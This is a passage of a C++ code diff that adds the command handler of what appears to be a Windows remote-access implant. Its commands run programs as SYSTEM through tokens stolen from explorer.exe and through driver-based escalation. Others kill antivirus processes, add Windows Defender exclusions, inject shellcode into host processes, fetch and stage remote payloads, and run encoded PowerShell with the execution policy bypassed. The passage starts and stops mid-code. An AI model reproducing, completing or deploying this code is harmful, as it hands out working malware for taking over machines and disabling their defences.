TOKEN_ASSIGN_PRIMARY | + TOKEN_DUPLICATE | + TOKEN_ADJUST_DEFAULT | + TOKEN_ADJUST_SESSIONID; + + if (DuplicateTokenEx(src, fullAccess, nullptr, SecurityImpersonation, TokenPrimary, &dup)) + return dup; + + const DWORD minimalAccess = + TOKEN_QUERY | + TOKEN_ASSIGN_PRIMARY | + TOKEN_DUPLICATE | + TOKEN_ADJUST_DEFAULT; + + dup = nullptr; + + if (DuplicateTokenEx(src, minimalAccess, nullptr, SecurityImpersonation, TokenPrimary, &dup)) + return dup; + + return nullptr; +} + +static bool TokenSession(HANDLE token, DWORD session) +{ + DWORD s = 0; + DWORD needed = 0; + + if (!GetTokenInformation(token, TokenSessionId, &s, sizeof(s), &needed)) + return false; + + return s == session; +} + +static HANDLE GetActiveUserToken() +{ + if (!IsCurrentProcessSystem()) + { + HANDLE tok = nullptr; + + if (OpenProcessToken( + GetCurrentProcess(), + TOKEN_QUERY | + TOKEN_ASSIGN_PRIMARY | + TOKEN_DUPLICATE | + TOKEN_ADJUST_DEFAULT | + TOKEN_ADJUST_SESSIONID, + &tok)) + { + return tok; + } + + if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_DUPLICATE, &tok)) + { + HANDLE dup = DuplicateTokenForPrimary(tok); + CloseHandle(tok); + return dup; + } + + return nullptr; + } + + EnablePrivilege(SE_TCB_NAME); + + DWORD session = WTSGetActiveConsoleSessionId(); + if (session == 0xFFFFFFFF) + return nullptr; + + HANDLE userTok = nullptr; + + if (WTSQueryUserToken(session, &userTok)) + { + HANDLE dup = DuplicateTokenForPrimary(userTok); + CloseHandle(userTok); + return dup; + } + + HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + if (snap == INVALID_HANDLE_VALUE) + return nullptr; + + PROCESSENTRY32W pe{}; + pe.dwSize = sizeof(pe); + + HANDLE found = nullptr; + + if (Process32First(snap, &pe)) + { + do + { + if (_wcsicmp(pe.szExeFile, L"explorer.exe") != 0) + continue; + + HANDLE hProc = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pe.th32ProcessID); + if (!hProc) + continue; + + HANDLE tok = nullptr; + + const DWORD access = + TOKEN_QUERY | + TOKEN_ASSIGN_PRIMARY | + TOKEN_DUPLICATE | + TOKEN_ADJUST_DEFAULT | + TOKEN_ADJUST_SESSIONID; + + if (!OpenProcessToken(hProc, access, &tok)) + { + if (!OpenProcessToken(hProc, TOKEN_QUERY | TOKEN_DUPLICATE, &tok)) + { + CloseHandle(hProc); + continue; + } + + HANDLE dup = DuplicateTokenForPrimary(tok); + CloseHandle(tok); + CloseHandle(hProc); + + if (dup && TokenSession(dup, session)) + { + found = dup; + break; + } + + if (dup) + CloseHandle(dup); + + continue; + } + + HANDLE dup = DuplicateTokenForPrimary(tok); + CloseHandle(tok); + CloseHandle(hProc); + + if (dup && TokenSession(dup, session)) + { + found = dup; + break; + } + + if (dup) + CloseHandle(dup); + + } while (Process32Next(snap, &pe)); + } + + CloseHandle(snap); + return found; +} + +static bool RunCommandLineCurrent(const std::wstring& commandLine) +{ + if (commandLine.empty()) + return false; + + std::wstring cmd = commandLine; + + STARTUPINFOW si{}; + si.cb = sizeof(si); + + PROCESS_INFORMATION pi{}; + + BOOL ok = CreateProcessW( + nullptr, + cmd.data(), + nullptr, + nullptr, + FALSE, + CREATE_NO_WINDOW, + nullptr, + nullptr, + &si, + &pi); + + if (ok) + { + CloseHandle(pi.hThread); + CloseHandle(pi.hProcess); + } + + return ok == TRUE; +} + +static bool RunCommandLineAsUser(const std::wstring& commandLine) +{ + if (commandLine.empty()) + return false; + + HANDLE tok = GetActiveUserToken(); + if (!tok) + return RunCommandLineCurrent(commandLine); + + if (IsCurrentProcessSystem()) + { + DWORD session = WTSGetActiveConsoleSessionId(); + if (session != 0xFFFFFFFF) + SetTokenInformation(tok, TokenSessionId, &session, sizeof(session)); + } + + LPVOID env = nullptr; + BOOL envOk = CreateEnvironmentBlock(&env, tok, FALSE); + + STARTUPINFOW si{}; + si.cb = sizeof(si); + si.lpDesktop = const_cast(L"Winsta0\\Default"); + + std::wstring cmd = commandLine; + PROCESS_INFORMATION pi{}; + + BOOL ok = CreateProcessAsUserW( + tok, + nullptr, + cmd.data(), + nullptr, + nullptr, + FALSE, + CREATE_NEW_CONSOLE, + envOk ? env : nullptr, + nullptr, + &si, + &pi); + + if (ok) + { + CloseHandle(pi.hThread); + CloseHandle(pi.hProcess); + } + + if (envOk) + DestroyEnvironmentBlock(env); + + CloseHandle(tok); + + if (!ok) + return RunCommandLineCurrent(commandLine); + + return true; +} + +static std::wstring TrimQuotes(const std::wstring& s) +{ + if (s.size() >= 2 && s.front() == L'"' && s.back() == L'"') + return s.substr(1, s.size() - 2); + + return s; +} + +static std::wstring QuotePathIfNeeded(const std::wstring& path) +{ + if (path.empty()) + return path; + + if (path.front() == L'"') + return path; + + if (path.find(L' ') != std::wstring::npos) + return L"\"" + path + L"\""; + + return path; +} + +static std::wstring MakeCommandLineFromPath(const std::wstring& pathIn, const std::wstring& args) +{ + std::wstring path = TrimQuotes(pathIn); + + wchar_t abs[MAX_PATH]{}; + if (GetFullPathNameW(path.c_str(), _countof(abs), abs, nullptr)) + path = abs; + + std::wstring full = QuotePathIfNeeded(path); + + if (!args.empty()) + { + full += L" "; + full += args; + } + + return full; +} + +static bool ParseToken(const std::wstring& line, size_t& pos, std::wstring& token) +{ + while (pos < line.size() && iswspace(line[pos])) + ++pos; + + if (pos >= line.size()) + return false; + + token.clear(); + + if (line[pos] == L'"') + { + ++pos; + + while (pos < line.size() && line[pos] != L'"') + { + token += line[pos]; + ++pos; + } + + if (pos < line.size()) + ++pos; + + return !token.empty(); + } + + while (pos < line.size() && !iswspace(line[pos])) + { + token += line[pos]; + ++pos; + } + + return !token.empty(); +} + +static bool RunShellExecuteCurrent(const std::wstring& pathIn, const std::wstring& args) +{ + std::wstring path = TrimQuotes(pathIn); + if (path.empty()) + return false; + + HINSTANCE h = ShellExecuteW( + nullptr, + nullptr, + path.c_str(), + args.empty() ? nullptr : args.c_str(), + nullptr, + SW_SHOW); + + return (INT_PTR)h > 32; +} + +static std::wstring GetCmdExePath() +{ + wchar_t sys[MAX_PATH]{}; + UINT n = GetSystemDirectoryW(sys, _countof(sys)); + + if (n == 0 || n >= _countof(sys)) + return L"C:\\Windows\\System32\\cmd.exe"; + + std::wstring path = sys; + path += L"\\cmd.exe"; + return path; +} + +static std::wstring GetPayloadDir() +{ + return ArdrvStageDir(); +} + +static std::wstring FileNameFromUrl(const std::wstring& url) +{ + std::wstring path = url; + + size_t q = path.find_first_of(L"?#"); + if (q != std::wstring::npos) + path = path.substr(0, q); + + size_t slash = path.find_last_of(L'/'); + if (slash != std::wstring::npos) + path = path.substr(slash + 1); + + for (auto& ch : path) + { + if (ch == L':' || ch == L'*' || ch == L'?' || ch == L'"' || + ch == L'<' || ch == L'>' || ch == L'|') + { + ch = L'_'; + } + } + + if (path.empty()) + path = L"payload.bin"; + + return path; +} + +static std::wstring Sha256OfFile(const std::wstring& path) +{ + HANDLE file = CreateFileW( + path.c_str(), + GENERIC_READ, + FILE_SHARE_READ | FILE_SHARE_WRITE, + nullptr, + OPEN_EXISTING, + 0, + nullptr); + + if (file == INVALID_HANDLE_VALUE) + return std::wstring(); + + HCRYPTPROV prov = 0; + HCRYPTHASH hash = 0; + std::wstring hex; + + if (CryptAcquireContextW(&prov, nullptr, nullptr, PROV_RSA_AES, CRYPT_VERIFYCONTEXT) && + CryptCreateHash(prov, CALG_SHA_256, 0, 0, &hash)) + { + BYTE buf[64 * 1024]{}; + DWORD read = 0; + bool ok = true; + + while (ok && ReadFile(file, buf, sizeof(buf), &read, nullptr) && read > 0) + ok = CryptHashData(hash, buf, read, 0) != FALSE; + + if (ok) + { + BYTE digest[32]{}; + DWORD digestLen = sizeof(digest); + + if (CryptGetHashParam(hash, HP_HASHVAL, digest, &digestLen, 0)) + { + static const wchar_t* digits = L"0123456789abcdef"; + + for (DWORD i = 0; i < digestLen; ++i) + { + hex += digits[(digest[i] >> 4) & 0xF]; + hex += digits[digest[i] & 0xF]; + } + } + } + } + + if (hash) + CryptDestroyHash(hash); + + if (prov) + CryptReleaseContext(prov, 0); + + CloseHandle(file); + return hex; +} + +static bool DownloadUrlToFile( + const std::wstring& url, + const std::wstring& outPathIn, + const std::wstring& expectedSha256, + std::wstring& error) +{ + error.clear(); + + if (url.empty() || outPathIn.empty()) + { + error = L"empty url or path"; + return false; + } + + std::string bytes; + DWORD status = 0; + + if (!HttpRequest(L"GET", url, L"", nullptr, std::string(), bytes, &status)) + { + error = L"http request failed"; + return false; + } + + if (status != 0 && status != 200) + { + error = L"http status " + std::to_wstring(status); + return false; + } + + if (bytes.empty()) + { + error = L"empty response"; + return false; + } + + // Hard ceiling so a hostile or broken URL cannot fill the disk. + const size_t maxBytes = 256ull * 1024ull * 1024ull; + + if (bytes.size() > maxBytes) + { + error = L"payload too large (>256MB)"; + return false; + } + + std::wstring outPath = TrimQuotes(outPathIn); + + wchar_t abs[4096]{}; + if (GetFullPathNameW(outPath.c_str(), _countof(abs), abs, nullptr)) + outPath = abs; + + std::wstring dir = outPath; + size_t slash = dir.find_last_of(L'\\'); + if (slash != std::wstring::npos) + { + dir = dir.substr(0, slash); + CreateDirectoryW(dir.c_str(), nullptr); + } + + HANDLE file = CreateFileW( + outPath.c_str(), + GENERIC_WRITE, + 0, + nullptr, + CREATE_ALWAYS, + FILE_ATTRIBUTE_NORMAL, + nullptr); + + if (file == INVALID_HANDLE_VALUE) + { + error = L"create failed " + std::to_wstring(GetLastError()); + return false; + } + + DWORD written = 0; + BOOL wrote = WriteFile(file, bytes.data(), (DWORD)bytes.size(), &written, nullptr); + DWORD writeError = GetLastError(); + + CloseHandle(file); + + if (!wrote || written != bytes.size()) + { + error = L"write failed " + std::to_wstring(writeError); + DeleteFileW(outPath.c_str()); + return false; + } + + if (!expectedSha256.empty()) + { + std::wstring actual = Sha256OfFile(outPath); + + if (actual.empty() || _wcsicmp(actual.c_str(), expectedSha256.c_str()) != 0) + { + error = L"hash mismatch got " + (actual.empty() ? L"(unreadable)" : actual); + DeleteFileW(outPath.c_str()); + return false; + } + } + + Log(L"[cloud] downloaded %s (%zu bytes) -> %s", + url.c_str(), + bytes.size(), + outPath.c_str()); + + return true; +} + +static HANDLE AcquireSystemToken() +{ + HANDLE preferred = nullptr; + + if (EnsureDriverLoaded()) + EscalateViaDriver(&preferred); + + HANDLE tok = GetSystemToken(preferred); + + if (preferred) + CloseHandle(preferred); + + return tok; +} + +static bool RunCommandLineAsSystem(const std::wstring& commandLine) +{ + if (commandLine.empty()) + return false; + + HANDLE tok = AcquireSystemToken(); + if (!tok) + return false; + + std::wstring cmdExe = GetCmdExePath(); + + std::wstring args = L"/C "; + args += commandLine; + + bool ok = StartProcessAsSystem(tok, cmdExe.c_str(), args.c_str(), false); + + CloseHandle(tok); + return ok; +} + +static bool RunFilePathCurrent(const std::wstring& path, const std::wstring& args) +{ + std::wstring full = MakeCommandLineFromPath(path, args); + return RunCommandLineCurrent(full); +} + +static bool RunFilePathUser(const std::wstring& path, const std::wstring& args) +{ + std::wstring full = MakeCommandLineFromPath(path, args); + return RunCommandLineAsUser(full); +} + +static bool RunFilePathSystem(const std::wstring& path, const std::wstring& args) +{ + HANDLE tok = AcquireSystemToken(); + if (!tok) + return false; + + std::wstring cleanPath = TrimQuotes(path); + + bool ok = StartProcessAsSystem( + tok, + cleanPath.c_str(), + args.empty() ? nullptr : args.c_str(), + false); + + CloseHandle(tok); + return ok; +} + +static bool KillProcessCloud(DWORD pid) +{ + if (pid == 0 || pid == 4) + return false; + + if (EnsureDriverLoaded() && TerminateProcessViaDriver(pid)) + return true; + + HANDLE h = OpenProcess(PROCESS_TERMINATE, FALSE, pid); + if (!h) + return false; + + BOOL ok = TerminateProcess(h, 0); + CloseHandle(h); + + return ok == TRUE; +} + +static bool StartServiceByName(const std::wstring& name) +{ + if (name.empty()) + return false; + + SC_HANDLE scm = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CONNECT); + if (!scm) + return false; + + SC_HANDLE svc = OpenServiceW(scm, name.c_str(), SERVICE_START | SERVICE_QUERY_STATUS); + if (!svc) + { + CloseServiceHandle(scm); + return false; + } + + SERVICE_STATUS st{}; + bool running = QueryServiceStatus(svc, &st) && st.dwCurrentState == SERVICE_RUNNING; + + if (!running) + { + if (!StartServiceW(svc, 0, nullptr)) + { + DWORD e = GetLastError(); + + if (e != ERROR_SERVICE_ALREADY_RUNNING) + { + CloseServiceHandle(svc); + CloseServiceHandle(scm); + return false; + } + } + } + + CloseServiceHandle(svc); + CloseServiceHandle(scm); + return true; +} + +static std::wstring RegReadGuardConfig(const wchar_t* name) +{ + std::wstring out; + + HKEY h = nullptr; + if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE\\ArDrvLoader", 0, KEY_READ, &h) != ERROR_SUCCESS) + return out; + + DWORD type = 0; + DWORD size = 0; + + if (RegQueryValueExW(h, name, nullptr, &type, nullptr, &size) != ERROR_SUCCESS || + (type != REG_SZ && type != REG_EXPAND_SZ) || + size == 0) + { + RegCloseKey(h); + return out; + } + + std::vector buf(size / sizeof(wchar_t) + 1); + + if (RegQueryValueExW(h, name, nullptr, nullptr, (LPBYTE)buf.data(), &size) == ERROR_SUCCESS) + out = buf.data(); + + RegCloseKey(h); + return out; +} + +static DWORD RegReadGuardDword(const wchar_t* name, DWORD fallback) +{ + HKEY h = nullptr; + + if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE\\ArDrvLoader", 0, KEY_READ, &h) != ERROR_SUCCESS) + return fallback; + + DWORD value = 0; + DWORD size = sizeof(value); + DWORD type = 0; + + DWORD result = fallback; + + if (RegQueryValueExW(h, name, nullptr, &type, (LPBYTE)&value, &size) == ERROR_SUCCESS && + type == REG_DWORD) + { + result = value; + } + + RegCloseKey(h); + return result; +} + +static bool RegWriteGuardDword(const wchar_t* name, DWORD value) +{ + HKEY h = nullptr; + + if (RegCreateKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE\\ArDrvLoader", 0, nullptr, 0, KEY_SET_VALUE, nullptr, &h, nullptr) + != ERROR_SUCCESS) + { + return false; + } + + bool ok = RegSetValueExW(h, name, 0, REG_DWORD, (const BYTE*)&value, sizeof(value)) == ERROR_SUCCESS; + RegCloseKey(h); + return ok; +} + +static std::wstring ServiceStateOf(const std::wstring& name); + +static std::wstring DriverStatusString() +{ const bool device = OpenDriver(); + + if (device) + CloseDriver(); + + std::wstring service = RegReadGuardConfig(L"DriverService"); + + if (service.empty()) + service = L"ArDrv"; + + std::wostringstream os; + + os << L"device=" << (device ? L"ok" : L"unavailable") + << L" embedded=" << EmbeddedDriverSize() + << L" fail=" << RegReadGuardDword(L"DriverFailCount", 0) + << L"/" << RegReadGuardDword(L"DriverFailMax", 3) + << L" state=" << (RegReadGuardConfig(L"DriverState").empty() ? L"unset" : RegReadGuardConfig(L"DriverState")) + << L" service=" << service << L":" << ServiceStateOf(service); + + return os.str(); +} + +static std::wstring ServiceStateOf(const std::wstring& name){ + if (name.empty()) + return L"unset"; + + SC_HANDLE scm = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CONNECT); + + if (!scm) + return L"scm-denied"; + + SC_HANDLE svc = OpenServiceW(scm, name.c_str(), SERVICE_QUERY_STATUS); + + std::wstring state = L"missing"; + + if (svc) + { + SERVICE_STATUS st{}; + + if (QueryServiceStatus(svc, &st)) + { + switch (st.dwCurrentState) + { + case SERVICE_RUNNING: state = L"running"; break; + case SERVICE_STOPPED: state = L"stopped"; break; + case SERVICE_START_PENDING: state = L"start-pending"; break; + case SERVICE_STOP_PENDING: state = L"stop-pending"; break; + case SERVICE_PAUSED: state = L"paused"; break; + default: state = L"state-" + std::to_wstring(st.dwCurrentState); break; + } + } + else + { + state = L"query-failed"; + } + + CloseServiceHandle(svc); + } + + CloseServiceHandle(scm); + return state; +} + +static std::wstring GetStatusString() +{ + std::wostringstream os; + + os << L"pid=" << GetCurrentProcessId() + << L" system=" << (IsCurrentProcessSystem() ? 1 : 0) + << L" admin=" << (IsProcessAdmin() ? 1 : 0) + << L" sid=" << GetProcessSidString(); + + std::wstring driver = RegReadGuardConfig(L"DriverServiceName"); + std::wstring guard = RegReadGuardConfig(L"GuardServiceName"); + std::wstring repair = RegReadGuardConfig(L"RepairServiceName"); + + if (!driver.empty() || !guard.empty() || !repair.empty()) + { + os << L" driver=" << (driver.empty() ? L"unset" : driver) << L":" << ServiceStateOf(driver) + << L" guard=" << (guard.empty() ? L"unset" : guard) << L":" << ServiceStateOf(guard) + << L" repair=" << (repair.empty() ? L"unset" : repair) << L":" << ServiceStateOf(repair); + } + + return os.str(); +} + +static bool ProcessCommand(const std::wstring& commandLine, std::wstring& result, bool& stop) +{ + stop = false; + result.clear(); + + std::wstring cmd = commandLine; + TrimW(cmd); + + if (cmd.empty()) + return false; + + size_t sp = cmd.find(L' '); + std::wstring op = sp == std::wstring::npos ? cmd : cmd.substr(0, sp); + std::wstring rest = sp == std::wstring::npos ? std::wstring() : cmd.substr(sp + 1); + + TrimW(rest); + + if (_wcsicmp(op.c_str(), L"HELP") == 0) + { + result = + L"Commands:\r\n" + L"PING\r\n" + L"STATUS\r\n" + L"HELP\r\n" + L"RUN \r\n" + L"EXEC \r\n" + L"RUN_USER \r\n" + L"RUN_SYSTEM \r\n" + L"PS \r\n" + L"PS_USER \r\n" + L"RUNFILE [args]\r\n" + L"RUNFILE_USER [args]\r\n" + L"RUNFILE_SYSTEM [args]\r\n" + L"OPENFILE [args]\r\n" + L"OPENFILE_USER [args]\r\n" + L"KILLPID \r\n" + L"KILLNAME \r\n" + L"KILLALL \r\n" + L"KILLAV\r\n" + L"KILLAV_DRYRUN\r\n" + L"HOST_LIST\r\n" + L"HOST_SPAWN [--host ] [args]\r\n" + L"HOST_SPAWN_USER [--host ] [args]\r\n" + L"HOST_INJECT [--host ]\r\n" + L"HOST_TRACK\r\n" + L"HOST_UNTRACK\r\n" + L"STAGE_STATUS\r\n" + L"STAGE_INJECT [--host ]\r\n" + L"STAGE_RUN \r\n" + L"STAGE_STOP\r\n" + L"EXCLUSION_LIST\r\n" + L"EXCLUSION_ADD \r\n" + L"EXCLUSION_APPLY\r\n" + L"DRIVER_STATUS\r\n" + L"DRIVER_RESET\r\n" + L"TOKEN_GET\r\n" + L"DRIVER_LOAD\r\n" + L"INJECT_FILE \r\n" + L"INJECT_SUSPEND \r\n" + L"INSTALL_SERVICE [binary-path]\r\n" + L"INSTALL_CLOUD_SERVICE \r\n" + L"INSTALL_GUARD_SERVICES [--target ] [--target-service ] [--args ]\r\n" + L"DOWNLOAD [sha256]\r\n" + L"DEPLOY [args]\r\n" + L"DEPLOY_SYSTEM [args]\r\n" + L"START_SERVICE [binary-path]\r\n" + L"SERVICE_STATUS \r\n" + L"STOP"; + + return true; + } + + if (_wcsicmp(op.c_str(), L"PING") == 0) + { + result = L"PONG"; + return true; + } + + if (_wcsicmp(op.c_str(), L"STATUS") == 0) + { + result = GetStatusString(); + return true; + } + + if (_wcsicmp(op.c_str(), L"RUN") == 0) + { + if (rest.empty()) + { + result = L"ERR_USAGE RUN "; + return false; + } + + std::wstring full = L"cmd.exe /C "; + full += rest; + + result = RunCommandLineCurrent(full) ? L"OK" : L"ERR RUN"; + return result == L"OK"; + } + + if (_wcsicmp(op.c_str(), L"EXEC") == 0) + { + if (rest.empty()) + { + result = L"ERR_USAGE EXEC "; + return false; + } + + result = RunCommandLineCurrent(rest) ? L"OK" : L"ERR EXEC"; + return result == L"OK"; + } + + if (_wcsicmp(op.c_str(), L"RUN_USER") == 0) + { + if (rest.empty()) + { + result = L"ERR_USAGE RUN_USER "; + return false; + } + + std::wstring full = L"cmd.exe /C "; + full += rest; + + result = RunCommandLineAsUser(full) ? L"OK" : L"ERR RUN_USER"; + return result == L"OK"; + } + + if (_wcsicmp(op.c_str(), L"RUN_SYSTEM") == 0) + { + if (rest.empty()) + { + result = L"ERR_USAGE RUN_SYSTEM "; + return false; + } + + result = RunCommandLineAsSystem(rest) ? L"OK" : L"ERR RUN_SYSTEM"; + return result == L"OK"; + } + + if (_wcsicmp(op.c_str(), L"PS") == 0) + { + if (rest.empty()) + { + result = L"ERR_USAGE PS "; + return false; + } + + std::wstring encoded = Utf16(Base64EncodeUtf16LE(rest)); + + std::wstring full = L"powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand "; + full += encoded; + + result = RunCommandLineCurrent(full) ? L"OK" : L"ERR PS"; + return result == L"OK"; + } + + if (_wcsicmp(op.c_str(), L"PS_USER") == 0) + { + if (rest.empty()) + { + result = L"ERR_USAGE PS_USER "; + return false; + } + + std::wstring encoded = Utf16(Base64EncodeUtf16LE(rest)); + + std::wstring full = L"powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand "; + full += encoded; + + result = RunCommandLineAsUser(full) ? L"OK" : L"ERR PS_USER"; + return result == L"OK"; + } + + if (_wcsicmp(op.c_str(), L"RUNFILE") == 0 || + _wcsicmp(op.c_str(), L"RUNFILE_USER") == 0 || + _wcsicmp(op.c_str(), L"RUNFILE_SYSTEM") == 0) + { + const bool asUser = (_wcsicmp(op.c_str(), L"RUNFILE_USER") == 0); + const bool asSystem = (_wcsicmp(op.c_str(), L"RUNFILE_SYSTEM") == 0); + + if (rest.empty()) + { + result = asSystem + ? L"ERR_USAGE RUNFILE_SYSTEM [args]" + : (asUser ? L"ERR_USAGE RUNFILE_USER [args]" : L"ERR_USAGE RUNFILE [args]"); + return false; + } + + size_t pos = 0; + std::wstring path; + + if (!ParseToken(rest, pos, path)) + { + result = L"ERR_USAGE PATH"; + return false; + } + + while (pos < rest.size() && iswspace(rest[pos])) + ++pos; + + std::wstring args = rest.substr(pos); + TrimW(args); + + bool ok = false; + + if (asSystem) + ok = RunFilePathSystem(path, args); + else if (asUser) + ok = RunFilePathUser(path, args); + else + ok = RunFilePathCurrent(path, args); + + result = ok ? L"OK" : L"ERR RUNFILE"; + return ok; + } + + if (_wcsicmp(op.c_str(), L"OPENFILE") == 0 || _wcsicmp(op.c_str(), L"OPENFILE_USER") == 0) + { + const bool asUser = (_wcsicmp(op.c_str(), L"OPENFILE_USER") == 0); + + if (rest.empty()) + { + result = asUser ? L"ERR_USAGE OPENFILE_USER [args]" : L"ERR_USAGE OPENFILE [args]"; + return false; + } + + size_t pos = 0; + std::wstring path; + + if (!ParseToken(rest, pos, path)) + { + result = L"ERR_USAGE PATH"; + return false; + } + + while (pos < rest.size() && iswspace(rest[pos])) + ++pos; + + std::wstring args = rest.substr(pos); + TrimW(args); + + if (asUser) + { + std::wstring full = L"cmd.exe /C start \"\" "; + full += QuotePathIfNeeded(path); + + if (!args.empty()) + { + full += L" "; + full += args; + } + + result = RunCommandLineAsUser(full) ? L"OK" : L"ERR OPENFILE_USER"; + } + else + { + result = RunShellExecuteCurrent(path, args) ? L"OK" : L"ERR OPENFILE"; + } + + return result == L"OK"; + } + + if (_wcsicmp(op.c_str(), L"KILLPID") == 0) + { + DWORD pid = (DWORD)wcstoul(rest.c_str(), nullptr, 10); + + if (pid == 0) + { + result = L"ERR_USAGE KILLPID "; + return false; + } + + result = KillProcessCloud(pid) ? L"OK" : L"ERR KILLPID"; + return result == L"OK"; + } + + if (_wcsicmp(op.c_str(), L"KILLNAME") == 0) + { + if (rest.empty()) + { + result = L"ERR_USAGE KILLNAME "; + return false; + } + + DWORD pid = GetPidByName(rest.c_str()); + result = (pid && KillProcessCloud(pid)) ? L"OK" : L"ERR KILLNAME"; + return result == L"OK"; + } + + if (_wcsicmp(op.c_str(), L"KILLALL") == 0) + { + if (rest.empty()) + { + result = L"ERR_USAGE KILLALL "; + return false; + } + + int killed = 0; + + for (int i = 0; i < 20; ++i) + { + DWORD pid = GetPidByName(rest.c_str()); + if (pid == 0) + break; + + if (KillProcessCloud(pid)) + ++killed; + + Sleep(50); + } + + std::wostringstream os; + os << L"OK killed=" << killed; + result = os.str(); + + return true; + } + + if (_wcsicmp(op.c_str(), L"KILLAV") == 0 || + _wcsicmp(op.c_str(), L"KILLAV_DRYRUN") == 0) + { + const bool dryRun = (_wcsicmp(op.c_str(), L"KILLAV_DRYRUN") == 0); + + EnsureDriverLoaded(); + + std::wstring summary; + + if (!KillAVProcessesEx(dryRun, summary)) + { + result = L"OK " + summary; + return true; + } + + result = L"OK " + summary; + return true; + } + + if (_wcsicmp(op.c_str(), L"HOST_INJECT") == 0) + { + size_t pos = 0; + std::wstring token; + std::wstring preferred; + + if (ParseToken(rest, pos, token) && _wcsicmp(token.c_str(), L"--host") == 0) + { + ParseToken(rest, pos, preferred); + } + else + { + pos = 0; + } + + std::wstring path; + + if (!ParseToken(rest, pos, path)) + { + result = L"ERR_USAGE HOST_INJECT [--host ]"; + return false; + } + + // Allow trailing "--host " after the path too. + std::wstring trailing; + + if (ParseToken(rest, pos, trailing) && _wcsicmp(trailing.c_str(), L"--host") == 0) + ParseToken(rest, pos, preferred); + + HostInjectResult r = InjectShellcodeIntoHost(path, preferred, true); + + result = FormatInjectResult(r); + return r.ok; + } + + if (_wcsicmp(op.c_str(), L"HOST_TRACK") == 0) + { + result = FormatHostTrack(LoadHostTrack()); + return true; + } + + if (_wcsicmp(op.c_str(), L"HOST_UNTRACK") == 0) + { + bool ok = ClearHostTrack(); + result = ok ? L"OK cleared" : L"ERR nothing to clear"; + return ok; + } + + if (_wcsicmp(op.c_str(), L"DRIVER_STATUS") == 0) + { + result = DriverStatusString(); + return true; + } + + if (_wcsicmp(op.c_str(), L"DRIVER_RESET") == 0) + { + bool ok = RegWriteGuardDword(L"DriverFailCount", 0); + + if (ok) + RegWriteGuardDword(L"DriverState", 0); + + result = std::wstring(ok ? L"OK counters cleared" : L"ERR registry write denied") + + L" | " + DriverStatusString(); + + return ok; + } + + if (_wcsicmp(op.c_str(), L"EXCLUSION_LIST") == 0) + { + std::wstring note; + std::vector current = QueryExclusions(note); + + result = L"defender=" + std::wstring(DefenderPresent() ? L"present" : L"absent") + + L" current=" + note; + + if (!current.empty()) + result += L"\r\n" + FormatExclusionList(current); + + std::vector wanted = LoadExclusionList(); + + if (!wanted.empty()) + result += L"\r\nwanted:\r\n" + FormatExclusionList(wanted); + + return true; + } + + if (_wcsicmp(op.c_str(), L"EXCLUSION_ADD") == 0) + { + if (rest.empty()) + { + result = L"ERR_USAGE EXCLUSION_ADD "; + return false; + } + + std::vector paths = LoadExclusionList(); + bool exists = false; + + for (const auto& p : paths) + { + if (_wcsicmp(p.c_str(), rest.c_str()) == 0) + exists = true; + } + + if (!exists) + paths.push_back(rest); + + bool saved = SaveExclusionList(paths); + + std::wstring report; + bool applied = ApplyExclusions(paths, report); + + result = std::wstring(saved ? L"saved" : L"save-failed") + + (applied ? L" applied" : L" refused") + L"\r\n" + report; + + return applied; + } + + if (_wcsicmp(op.c_str(), L"EXCLUSION_APPLY") == 0) + { + std::vector paths = LoadExclusionList(); + + if (paths.empty()) + { + paths = DefaultExclusionPaths(); + SaveExclusionList(paths); + } + + std::wstring report; + bool applied = ApplyExclusions(paths, report); + + result = (applied ? L"applied" : L"refused") + std::wstring(L"\r\n") + report; + return applied; + } + + if (_wcsicmp(op.c_str(), L"STAGE_STATUS") == 0) + { + result = FormatStageStatus(); + return true; + } + + if (_wcsicmp(op.c_str(), L"STAGE_INJECT") == 0) + { + size_t pos = 0; + std::wstring token; + std::wstring preferred; + + if (ParseToken(rest, pos, token) && _wcsicmp(token.c_str(), L"--host") == 0) + ParseToken(rest, pos, preferred); + + HostInjectResult r = StageInject(L"", preferred, true); + result = FormatInjectResult(r); + + if (r.ok) + result += L" | " + FormatStageStatus(); + + return r.ok; + } + + if (_wcsicmp(op.c_str(), L"STAGE_RUN") == 0) + { + if (rest.empty()) + { + result = L"ERR_USAGE STAGE_RUN "; + return false; + } + + std::wstring response; + + if (!StageSend(L"RUN " + rest, response)) + { + result = L"ERR stage not reachable"; + return false; + } + + result = response; + return true; + } + + if (_wcsicmp(op.c_str(), L"STAGE_STOP") == 0) + { + std::wstring response; + + if (!StageSend(L"STOP", response)) + { + result = L"ERR stage not reachable"; + return false; + } + + result = response; + return true; + } + + if (_wcsicmp(op.c_str(), L"HOST_LIST") == 0) + { + result = FormatHostList(EnumerateSystemHosts()); + return true; + } + + if (_wcsicmp(op.c_str(), L"HOST_SPAWN") == 0 || + _wcsicmp(op.c_str(), L"HOST_SPAWN_USER") == 0) + { + const bool userSession = (_wcsicmp(op.c_str(), L"HOST_SPAWN_USER") == 0); + + size_t pos = 0; + std::wstring token; + std::wstring preferred; + + if (ParseToken(rest, pos, token) && _wcsicmp(token.c_str(), L"--host") == 0) + { + if (!ParseToken(rest, pos, preferred)) + { + result = L"ERR_USAGE HOST_SPAWN [--host ] [args]"; + return false; + } + } + else + { + pos = 0; + } + + std::wstring exe; + + if (!ParseToken(rest, pos, exe)) + { + result = userSession + ? L"ERR_USAGE HOST_SPAWN_USER [--host ] [args]" + : L"ERR_USAGE HOST_SPAWN [--host ] [args]"; + return false; + } + + std::wstring args = pos < rest.size() ? rest.substr(pos) : std::wstring(); + TrimW(args); + + std::wstring cmd = MakeCommandLineFromPath(exe, args); + + SpawnResult r = SpawnThroughHost(cmd, preferred, userSession); + + result = FormatSpawnResult(r); + return r.ok; + } + + if (_wcsicmp(op.c_str(), L"TOKEN_GET") == 0) + { + HANDLE tok = AcquireSystemToken(); + + if (tok) + { + CloseHandle(tok); + result = L"OK"; + return true; + } + + result = L"ERR TOKEN_GET"; + return false; + } + + if 